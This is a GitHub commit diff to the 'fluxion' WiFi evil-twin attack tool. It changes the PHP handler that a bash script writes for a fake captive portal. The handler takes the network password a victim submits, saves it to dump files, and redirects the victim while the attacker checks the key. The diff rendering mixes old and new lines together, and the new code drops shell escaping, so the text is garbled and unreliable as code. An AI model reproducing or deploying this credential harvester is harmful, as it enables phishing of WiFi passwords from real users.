Update fluxion

Update PHP.
This commit is contained in:
τɑyιo​ɾ 2016-10-13 04:35:16 +03:00 committed by GitHub
parent a222983098
commit de51b95f22
1 changed files with 30 additions and 49 deletions

79
fluxion
View File

@ -3918,70 +3918,51 @@ channel=$Host_CHAN
echo "<?php echo "<?php
error_reporting(0); error_reporting(0);
\$count_my_page = (\"$DUMP_PATH/hit.txt\"); $count_my_page = (\"$DUMP_PATH/hit.txt\");
\$hits = file(\$count_my_page); $hits = file($count_my_page);
\$hits[0] ++; $hits[0] ++;
\$fp = fopen(\$count_my_page , \"w\"); $fp = fopen($count_my_page , \"w\");
fputs(\$fp , \"\$hits[0]\"); fputs($fp , \"$hits[0]\");
fclose(\$fp); fclose($fp);
// Receive form Post data and Saving it in variables // Receive form Post data and Saving it in variables
\$key1 = @\$_POST['key1']; $key1 = @$_POST['key1'];
// Write the name of text file where data will be store // Write the name of text file where data will be store
\$filename = \"$DUMP_PATH/data.txt\"; $filename = \"$DUMP_PATH/data.txt\";
\$filename2 = \"$DUMP_PATH/status.txt\"; $filename2 = \"$DUMP_PATH/status.txt\";
\$intento = \"$DUMP_PATH/intento\"; $intento = \"$DUMP_PATH/intento\";
\$attemptlog = \"$DUMP_PATH/pwattempt.txt\"; $attemptlog = \"$DUMP_PATH/pwattempt.txt\";
// Marge all the variables with text in a single variable. // Marge all the variables with text in a single variable.
\$f_data= ''.\$key1.''; $pwlog = fopen($attemptlog, \"w\");
fwrite($pwlog, $key1);
fwrite($pwlog,\"\n\");
fclose($pwlog);
\$pwlog = fopen(\$attemptlog, \"w\"); $file = fopen($filename, \"w\");
fwrite(\$pwlog,\"\$f_data\"); fwrite($file, $key1);
fwrite(\$pwlog,\"\n\"); fwrite($file,\"\n\");
fclose(\$pwlog); fclose($file);
if ( (strlen(\$key1) < 8) ) { $archivo = fopen($intento, \"w\");
echo \"<script type=\\\"text/javascript\\\">alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()</script>\"; fwrite($archivo,\"\n\");
return; fclose($archivo);
}
if ( (strlen(\$key1) > 63) ) { while( 1 ) {
echo \"<script type=\\\"text/javascript\\\">alert(\\\"$DIALOG_WEB_LENGHT_MAX\\\");window.history.back()</script>\"; if (file_get_contents( $intento ) == 1) {
return; header(\"Location:error.html\");
} unlink($intento);
break;
} else {
\$file = fopen(\$filename, \"w\"); header(\"Location:final.html\");
fwrite(\$file,\"\$f_data\");
fwrite(\$file,\"\n\");
fclose(\$file);
\$archivo = fopen(\$intento, \"w\");
fwrite(\$archivo,\"\n\");
fclose(\$archivo);
while(1)
{
if (file_get_contents(\"\$intento\") == 2) {
header(\"Location:final.html\");
break; break;
} }
if (file_get_contents(\"\$intento\") == 1) { sleep(1);
header(\"Location:error.html\");
unlink(\$intento);
break;
}
sleep(1);
} }
?>" > $DUMP_PATH/data/check.php ?>" > $DUMP_PATH/data/check.php
# Config DHCP # Config DHCP